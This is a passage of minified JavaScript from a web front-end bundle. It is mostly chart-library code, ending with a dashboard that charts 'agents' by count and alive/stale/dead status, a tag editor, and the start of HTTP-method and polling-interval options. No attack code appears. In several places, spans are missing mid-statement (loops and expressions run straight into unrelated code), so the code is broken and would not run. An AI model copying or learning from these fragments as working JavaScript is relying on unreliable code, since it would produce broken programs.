o.map(l=>[l[0],l[1]])}}}),tW=T([Me,yS,wS,bS,jS,eW,V7,XF,kS,J7],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return bW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),nW=["id"],rW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Ki(){return Ki=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:Lu(r,i),value:Pd(n,t),payload:e}]},cW=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:cs,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:Pd(o,t),hide:l,type:u,color:Lu(r,a),unit:c,graphicalItemId:d}};return p.createElement(oS,{tooltipEntrySettings:f})});function uW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=Cr(r);return p.createElement(iF,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function dW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Oa(Oa({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(b$,{value:t?i:void 0},n)}function m2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=SS(a,nW),h=Cr(m),x=It(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(Gt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Ba,Ki({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Ba,Ki({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Ba,Ki({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(uW,{points:t,props:m,clipPathId:i}))}function fW(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!ze(l)||!ze(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return he(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),he(d)?p.createElement("rect",{x:0,y:lf.y||0));return he(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),he(d)?p.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=$d(x,"recharts-area-"),y=RT(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(dW,{showLabels:w,points:o},r.children,p.createElement(Rd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var _=S.length/o.length,A=z===1?o:o.map((P,I)=>{var U=Math.floor(I*_);if(S[U]){var D=S[U];return Oa(Oa({},P),{},{x:St(D.x,P.x,z),y:St(D.y,P.y,z)})}return P}),O;return he(l)?O=St(N,l,z):Pt(l)||or(l)?O=St(N,0,z):O=l.map((P,I)=>{var U=Math.floor(I*_);if(Array.isArray(N)&&N[U]){var D=N[U];return Oa(Oa({},P),{},{x:St(D.x,P.x,z),y:St(D.y,P.y,z)})}return P}),z>0&&(i.current=A,a.current=O),p.createElement(m2,{points:A,baseLine:O,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(Gt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(mW,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(Gt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(m2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(X3,{label:r.label}))}function xW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(hW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class vW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Xe("recharts-area",i),y=m,{r:v,strokeWidth:b}=SF(n),w=aS(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(Si,{zIndex:x},p.createElement(Gt,{className:g},l&&p.createElement("defs",null,p.createElement(NF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(xW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(c2,{points:r,mainColor:Lu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(c2,{points:h,mainColor:Lu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var zS={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Ht.area};function gW(e){var t,n=fn(e,zS),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=SS(n,rW),b=us(),w=z3(),{needClip:j}=vS(g,y),k=Kn(),{points:S,isRange:N,baseLine:z}=(t=ye(U=>tW(U,e.id,k)))!==null&&t!==void 0?t:{},_=ov();if(b!=="horizontal"&&b!=="vertical"||_==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:A,width:O,x:P,y:I}=_;return!S||!S.length?null:p.createElement(vW,Ki({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:A,hide:f,layout:b,isAnimationActive:m==="auto"?!Dd.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:O,left:P,top:I,xAxisId:g,yAxisId:y}))}var yW=(e,t,n,r,i)=>{var a=n??t;if(he(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function bW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=yW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,_;if(x)_=i[d+k];else{var A=Fe(j,r);Array.isArray(A)?(_=A,v=!0):_=[g,A]}var O=(S=(N=_)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,P=O==null||x&&!t&&Fe(j,r)==null;if(y){var I;return{x:yy({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:P?null:(I=c.scale.map(O))!==null&&I!==void 0?I:null,value:_,payload:j}}return{x:P?null:(z=l.scale.map(O))!==null&&z!==void 0?z:null,y:yy({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:_,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function wW(e){var t=fn(e,zS),n=Kn();return p.createElement(lS,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(uB,{legendPayload:lW(t)}),p.createElement(cW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(NB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:iT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(gW,Ki({},t,{id:r}))))}var CS=p.memo(wW,gS);CS.displayName="Area";var jW=(e,t)=>t,uv=T([jW,Me,E4,wt,y3,Vr,xR,yt],kR),dv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},PS=zn("mouseClick"),ES=Zo();ES.startListening({actionCreator:PS,effect:(e,t)=>{var n=e.payload,r=uv(t.getState(),dv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(hD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var mh=zn("mouseMove"),AS=Zo(),ql=null;AS.startListening({actionCreator:mh,effect:(e,t)=>{var n=e.payload;ql!==null&&cancelAnimationFrame(ql);var r=dv(n);ql=requestAnimationFrame(()=>{var i=t.getState(),a=K0(i,i.tooltip.settings.shared);if(a==="axis"){var o=uv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(u3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(c3())}ql=null})}});function kW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var h2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},_S=Xt({name:"rootProps",initialState:h2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:h2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),NW=_S.reducer,{updateOptions:SW}=_S.actions,zW=null,CW={updatePolarOptions:(e,t)=>t.payload},OS=Xt({name:"polarOptions",initialState:zW,reducers:CW}),{updatePolarOptions:PW}=OS.actions,EW=OS.reducer,TS=zn("keyDown"),MS=zn("focus"),fv=Zo();fv.startListening({actionCreator:TS,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=q0(i,ys(n),ll(n),ul(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Vr(n);if(a==="Enter"){var u=Eu(n,"axis","hover",String(i.index));t.dispatch(ch({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=aD(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=Eu(n,"axis","hover",String(h));t.dispatch(ch({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});fv.startListening({actionCreator:MS,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=Eu(n,"axis","hover",String(a));t.dispatch(ch({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var gn=zn("externalEvent"),LS=Zo(),yp=new Map;LS.startListening({actionCreator:gn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=yp.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:tR(l),activeDataKey:k3(l),activeIndex:ns(l),activeLabel:j3(l),activeTooltipIndex:ns(l),isTooltipActive:nR(l)};n(c,r)}finally{yp.delete(i)}});yp.set(i,o)}}});var AW=T([vs],e=>e.tooltipItemPayloads),_W=T([AW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),IS=zn("touchMove"),DS=Zo();DS.startListening({actionCreator:IS,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=K0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=uv(r,dv({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(u3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Qk),f=(l=u.getAttribute(Jk))!==null&&l!==void 0?l:void 0,m=gs(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=_W(r,d,f);t.dispatch(l3({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var OW=jk({brush:vF,cartesianAxis:cF,chartData:JR,errorBars:kF,graphicalItems:jB,layout:GO,legend:QT,options:YR,polarAxis:O$,polarOptions:EW,referenceElements:yF,rootProps:NW,tooltip:xD,zIndex:DR}),TW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return bO({reducer:OW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([ES.middleware,AS.middleware,fv.middleware,LS.middleware,DS.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(Dk({type:"raf"}))},devTools:{serialize:{replacer:kW},name:"recharts-".concat(n)}})};function RS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Kn(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=TW(t,r));var o=Mx;return p.createElement(qF,{context:o,store:a.current},n)}function MW(e){var{layout:t,margin:n}=e,r=it(),i=Kn();return p.useEffect(()=>{i||(r(KO(t)),r(HO(n)))},[r,i,t,n]),null}var $S=p.memo(MW,gS);function BS(e){var t=it();return p.useEffect(()=>{t(SW(e))},[t,e]),null}function x2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=it();return p.useLayoutEffect(()=>(r.current&&i(LR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(IR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function v2(e){var{children:t,isPanorama:n}=e,r=ye(SR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(x2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(x2,{key:o,zIndex:o,isPanorama:n})))}var LW=["children"];function IW(e,t){if(e==null)return{};var n,r,i=DW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var n=IT(),r=DT(),i=vN();if(!vi(n)||!vi(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(jj,Iu({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:RW,ref:t}),a)}),BW=e=>{var{children:t}=e,n=ye(Od);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return p.createElement(jj,{width:r,height:i,x:o,y:a},t)},g2=p.forwardRef((e,t)=>{var{children:n}=e,r=IW(e,LW),i=Kn();return i?p.createElement(BW,null,p.createElement(v2,{isPanorama:!0},n)):p.createElement($W,Iu({ref:t},r),p.createElement(v2,{isPanorama:!1},n))});function FW(){var e=it(),[t,n]=p.useState(null),r=ye(uT);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;ze(a)&&a!==r&&e(YO(a))}},[t,e,r]),n}function y2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function WW(e){for(var t=1;t(l9(),null);function Du(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var qW=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:Du((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Du((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Jo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",pi({ref:c},e)))}),YW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:Du(n),containerHeight:Du(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return p.createElement(p.Fragment,null,p.createElement(Jo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",pi({ref:l},e)))}),GW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement("div",pi({ref:t},e)))}),XW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(YW,pi({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(GW,pi({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement("div",pi({ref:t},e)))});function ZW(e){return e?qW:XW}var QW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=it(),[S,N]=p.useState(null),[z,_]=p.useState(null),A=FW(),O=Ux(),P=(O==null?void 0:O.width)>0?O.width:v,I=(O==null?void 0:O.height)>0?O.height:i,U=p.useCallback(C=>{A(C),typeof t=="function"&&t(C),N(C),_(C),C!=null&&(j.current=C)},[A,t,N,_]),D=p.useCallback(C=>{k(PS(C)),k(gn({handler:a,reactEvent:C}))},[k,a]),M=p.useCallback(C=>{k(mh(C)),k(gn({handler:u,reactEvent:C}))},[k,u]),F=p.useCallback(C=>{k(c3()),k(gn({handler:d,reactEvent:C}))},[k,d]),R=p.useCallback(C=>{k(mh(C)),k(gn({handler:f,reactEvent:C}))},[k,f]),W=p.useCallback(()=>{k(MS())},[k]),$=p.useCallback(C=>{k(TS(C.key))},[k]),H=p.useCallback(C=>{k(gn({handler:o,reactEvent:C}))},[k,o]),X=p.useCallback(C=>{k(gn({handler:l,reactEvent:C}))},[k,l]),se=p.useCallback(C=>{k(gn({handler:c,reactEvent:C}))},[k,c]),ue=p.useCallback(C=>{k(gn({handler:m,reactEvent:C}))},[k,m]),ge=p.useCallback(C=>{k(gn({handler:g,reactEvent:C}))},[k,g]),xe=p.useCallback(C=>{w&&k(IS(C)),k(gn({handler:x,reactEvent:C}))},[k,w,x]),Y=p.useCallback(C=>{k(gn({handler:h,reactEvent:C}))},[k,h]),ee=ZW(b);return p.createElement(_3.Provider,{value:S},p.createElement(p_.Provider,{value:z},p.createElement(ee,{width:P??(y==null?void 0:y.width),height:I??(y==null?void 0:y.height),className:Xe("recharts-wrapper",r),style:WW({position:"relative",cursor:"default",width:P,height:I},y),onClick:D,onContextMenu:H,onDoubleClick:X,onFocus:W,onKeyDown:$,onMouseDown:se,onMouseEnter:M,onMouseLeave:F,onMouseMove:R,onMouseUp:ue,onTouchEnd:Y,onTouchMove:xe,onTouchStart:ge,ref:U},p.createElement(KW,null),n)))}),JW=["width","height","responsive","children","className","style","compact","title","desc"];function eU(e,t){if(e==null)return{};var n,r,i=tU(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=eU(e,JW),m=Cr(f);return c?p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement(g2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(QW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(g2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(wF,null,a)))});function hh(){return hh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(PW(e))},[t,e]),null}var sU=["layout"];function xh(){return xh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=fn(e,hU);return p.createElement(uU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:mU,tooltipPayloadSearcher:T3,categoricalChartProps:n,ref:t})}),vU=["axis"],gU=p.forwardRef((e,t)=>p.createElement(iU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:vU,tooltipPayloadSearcher:T3,categoricalChartProps:e,ref:t}));function yU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(Cy,{width:"100%",height:"100%",children:s.jsxs(gU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(Cb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(CS,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(Cy,{width:"100%",height:"100%",children:s.jsxs(xU,{children:[s.jsx(uS,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(nf,{fill:i.color},a))}),s.jsx(Cb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function bU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const wU=["GET","POST","HEAD"],jU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function 